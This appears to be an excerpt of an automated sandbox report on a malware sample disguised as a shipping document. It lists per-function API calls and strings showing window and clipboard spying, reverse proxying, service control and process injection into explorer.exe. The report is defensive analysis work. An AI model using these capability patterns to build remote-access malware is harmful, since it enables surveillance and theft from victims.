                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                                                                                        • __alloca_probe_16.LIBCMT ref: 00453EEA
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                                                                                        • __alloca_probe_16.LIBCMT ref: 00453F94
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                                                                                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                                                                                        • __freea.LIBCMT ref: 00454003
                                                                                        • __freea.LIBCMT ref: 0045400F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                        • String ID: \@E
                                                                                        • API String ID: 201697637-1814623452
                                                                                        • Opcode ID: 347d6d77569ccb8731e03be0652f4f39992ef0e8e93efb01081f6886d5a4a2b8
                                                                                        • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                                                                                        • Opcode Fuzzy Hash: 347d6d77569ccb8731e03be0652f4f39992ef0e8e93efb01081f6886d5a4a2b8
                                                                                        • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                                                                                        Function 0044AC49 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,$C,0043EA24,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006), ref: 0044ACA3
                                                                                        • __alloca_probe_16.LIBCMT ref: 0044ACDB
                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006,?,?,?), ref: 0044AD29
                                                                                        • __alloca_probe_16.LIBCMT ref: 0044ADC0
                                                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                                                                                        • __freea.LIBCMT ref: 0044AE30
                                                                                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                        • __freea.LIBCMT ref: 0044AE39
                                                                                        • __freea.LIBCMT ref: 0044AE5E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                        • String ID: $C$PkGNG
                                                                                        • API String ID: 3864826663-3740547665
                                                                                        • Opcode ID: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
                                                                                        • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                                                                                        • Opcode Fuzzy Hash: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
                                                                                        • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                                                                                        Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free
                                                                                        • String ID: \&G$\&G$`&G
                                                                                        • API String ID: 269201875-253610517
                                                                                        • Opcode ID: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                                                                        • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                                                                                        • Opcode Fuzzy Hash: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                                                                        • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                                                                                        Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: 65535$udp
                                                                                        • API String ID: 0-1267037602
                                                                                        • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                                                                        • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                                                                                        • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                                                                        • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                                                                                        Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __Init_thread_footer.LIBCMT ref: 0040AD38
                                                                                        • Sleep.KERNEL32(000001F4), ref: 0040AD43
                                                                                        • GetForegroundWindow.USER32 ref: 0040AD49
                                                                                        • GetWindowTextLengthW.USER32(00000000), ref: 0040AD52
                                                                                        • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040AD86
                                                                                        • Sleep.KERNEL32(000003E8), ref: 0040AE54
                                                                                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                        • String ID: [${ User has been idle for $ minutes }$]
                                                                                        • API String ID: 911427763-3954389425
                                                                                        • Opcode ID: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
                                                                                        • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                                                                                        • Opcode Fuzzy Hash: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
                                                                                        • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                                                                                        Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                                                                                        • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                                                                                        • __dosmaperr.LIBCMT ref: 0043A8A6
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                                                                                        • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                                                                                        • __dosmaperr.LIBCMT ref: 0043A8E3
                                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                                                                                        • __dosmaperr.LIBCMT ref: 0043A937
                                                                                        • _free.LIBCMT ref: 0043A943
                                                                                        • _free.LIBCMT ref: 0043A94A
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                        • String ID:
                                                                                        • API String ID: 2441525078-0
                                                                                        • Opcode ID: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                                                                        • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                                                                                        • Opcode Fuzzy Hash: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
                                                                                        • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                                                                                        Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetEvent.KERNEL32(?,?), ref: 004054BF
                                                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040556F
                                                                                        • TranslateMessage.USER32(?), ref: 0040557E
                                                                                        • DispatchMessageA.USER32(?), ref: 00405589
                                                                                        • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                                                                        • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 00405679
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                        • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                        • API String ID: 2956720200-749203953
                                                                                        • Opcode ID: d61d42d8eab0d720631995167214654c6103fa2369fe784e1bd38fbaf09f349a
                                                                                        • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                                                                                        • Opcode Fuzzy Hash: d61d42d8eab0d720631995167214654c6103fa2369fe784e1bd38fbaf09f349a
                                                                                        • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                                                                                        Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                                                                                        • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                                                                                        • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                                                                        • String ID: 0VG$0VG$<$@$Temp
                                                                                        • API String ID: 1704390241-2575729100
                                                                                        • Opcode ID: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
                                                                                        • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                                                                                        • Opcode Fuzzy Hash: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
                                                                                        • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                                                                                        Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenClipboard.USER32 ref: 00416941
                                                                                        • EmptyClipboard.USER32 ref: 0041694F
                                                                                        • CloseClipboard.USER32 ref: 00416955
                                                                                        • OpenClipboard.USER32 ref: 0041695C
                                                                                        • GetClipboardData.USER32(0000000D), ref: 0041696C
                                                                                        • GlobalLock.KERNEL32(00000000), ref: 00416975
                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                                                                        • CloseClipboard.USER32 ref: 00416984
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                        • String ID: !D@
                                                                                        • API String ID: 2172192267-604454484
                                                                                        • Opcode ID: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                                                                        • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                                                                                        • Opcode Fuzzy Hash: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
                                                                                        • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                                                                                        Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                                                                                        • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                                                                                        • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                                                                                        • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 0041345F
                                                                                        • CloseHandle.KERNEL32(?), ref: 00413465
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                                                                        • String ID:
                                                                                        • API String ID: 297527592-0
                                                                                        • Opcode ID: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
                                                                                        • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                                                                                        • Opcode Fuzzy Hash: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
                                                                                        • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                                                                                        Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                                                                                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                                                        • String ID:
                                                                                        • API String ID: 221034970-0
                                                                                        • Opcode ID: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                                                        • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                                                                                        • Opcode Fuzzy Hash: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
                                                                                        • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                                                                                        Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 00448135
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 00448141
                                                                                        • _free.LIBCMT ref: 0044814C
                                                                                        • _free.LIBCMT ref: 00448157
                                                                                        • _free.LIBCMT ref: 00448162
                                                                                        • _free.LIBCMT ref: 0044816D
                                                                                        • _free.LIBCMT ref: 00448178
                                                                                        • _free.LIBCMT ref: 00448183
                                                                                        • _free.LIBCMT ref: 0044818E
                                                                                        • _free.LIBCMT ref: 0044819C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                                                                        • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                                                                                        • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                                                                        • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                                                                                        Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Eventinet_ntoa
                                                                                        • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                                                                        • API String ID: 3578746661-3604713145
                                                                                        • Opcode ID: 56d2d8895fe3b6af3d7bfbb84932521cb61644df9a1adc77dd7b2c2bf54f5752
                                                                                        • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                                                                                        • Opcode Fuzzy Hash: 56d2d8895fe3b6af3d7bfbb84932521cb61644df9a1adc77dd7b2c2bf54f5752
                                                                                        • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                                                                                        Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DecodePointer
                                                                                        • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                                                        • API String ID: 3527080286-3064271455
                                                                                        • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                                                                        • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                                                                                        • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                                                                        • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                                                                                        Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,PkGNG,0044BB31,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B3FE
                                                                                        • __fassign.LIBCMT ref: 0044B479
                                                                                        • __fassign.LIBCMT ref: 0044B494
                                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                                                                                        • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B4D9
                                                                                        • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B512
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 1324828854-263838557
                                                                                        • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                                                                        • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                                                                                        • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                                                                                        • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                                                                                        Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                                                                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                        • Sleep.KERNEL32(00000064), ref: 00417521
                                                                                        • DeleteFileW.KERNEL32(00000000), ref: 00417555
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CreateDeleteExecuteShellSleep
                                                                                        • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                        • API String ID: 1462127192-2001430897
                                                                                        • Opcode ID: d6a7a8c36c87aba2787b8ea33aa4d1f7fca6d44790c4f13fbcc8ebc3b329175f
                                                                                        • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                                                                                        • Opcode Fuzzy Hash: d6a7a8c36c87aba2787b8ea33aa4d1f7fca6d44790c4f13fbcc8ebc3b329175f
                                                                                        • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                                                                                        Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                                                                                        • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe), ref: 0040749E
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CurrentProcess
                                                                                        • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                                                                        • API String ID: 2050909247-4242073005
                                                                                        • Opcode ID: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
                                                                                        • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                                                                                        • Opcode Fuzzy Hash: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
